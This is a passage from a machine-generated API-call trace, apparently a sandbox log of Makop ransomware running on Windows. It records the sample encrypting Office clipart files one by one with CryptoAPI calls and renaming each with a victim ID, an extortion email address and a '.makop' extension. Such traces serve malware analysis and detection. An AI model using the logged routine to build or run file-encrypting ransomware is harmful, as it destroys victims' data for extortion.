Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0147.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSRETRO.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\psretro.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.764] CloseHandle (hObject=0xf0) returned 1 [0147.765] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETLG.WMF", cAlternateFileName="")) returned 1 [0147.765] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF") returned 63 [0147.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.767] GetProcessHeap () returned 0x48a0000 [0147.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.767] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0147.772] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.772] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.772] GetProcessHeap () returned 0x48a0000 [0147.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.772] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.772] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.772] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.772] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.773] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.773] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.773] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.773] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe0a, lpOverlapped=0x0) returned 1 [0147.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0147.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.774] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0147.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.774] SetEndOfFile (hFile=0xf0) returned 1 [0147.781] GetProcessHeap () returned 0x48a0000 [0147.781] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.781] GetProcessHeap () returned 0x48a0000 [0147.782] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.782] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETLG.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketlg.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.783] CloseHandle (hObject=0xf0) returned 1 [0147.783] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSSKETSM.WMF", cAlternateFileName="")) returned 1 [0147.783] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF") returned 63 [0147.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.786] GetProcessHeap () returned 0x48a0000 [0147.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.786] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0147.790] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.790] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.790] GetProcessHeap () returned 0x48a0000 [0147.791] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.791] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.791] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.791] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.792] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.792] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.792] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.793] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.793] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x776, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x776, lpOverlapped=0x0) returned 1 [0147.793] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780, dwBufLen=0x780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x780) returned 1 [0147.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x780, lpOverlapped=0x0) returned 1 [0147.793] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.793] SetEndOfFile (hFile=0xf0) returned 1 [0147.800] GetProcessHeap () returned 0x48a0000 [0147.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0147.800] GetProcessHeap () returned 0x48a0000 [0147.800] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.800] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0147.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSSKETSM.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pssketsm.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.810] CloseHandle (hObject=0xf0) returned 1 [0147.810] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWAVY.WMF", cAlternateFileName="")) returned 1 [0147.810] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF") returned 61 [0147.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.811] GetProcessHeap () returned 0x48a0000 [0147.811] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.811] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.811] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.812] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0147.816] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.816] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.816] GetProcessHeap () returned 0x48a0000 [0147.816] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0147.816] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0147.816] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.816] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0147.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.817] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.817] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.817] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.817] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.818] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb12, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb12, lpOverlapped=0x0) returned 1 [0147.818] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb20, dwBufLen=0xb20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb20) returned 1 [0147.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.818] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb20, lpOverlapped=0x0) returned 1 [0147.818] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.818] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.818] SetEndOfFile (hFile=0xf0) returned 1 [0147.826] GetProcessHeap () returned 0x48a0000 [0147.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0147.826] GetProcessHeap () returned 0x48a0000 [0147.826] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0147.826] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0147.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PSWAVY.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pswavy.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0147.828] CloseHandle (hObject=0xf0) returned 1 [0147.828] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE00006_.WMF", cAlternateFileName="")) returned 1 [0147.828] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF") returned 63 [0147.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RE00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\re00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0147.830] GetProcessHeap () returned 0x48a0000 [0147.830] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0147.830] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0147.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0147.831] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.835] GetProcessHeap () returned 0x48a0000 [0147.835] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0147.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0147.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0147.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0147.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0147.835] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0147.836] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0147.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0147.836] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0147.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0147.836] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0147.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.836] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6ec, lpOverlapped=0x0) returned 1 [0147.836] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6f0) returned 1 [0147.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.837] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6f0, 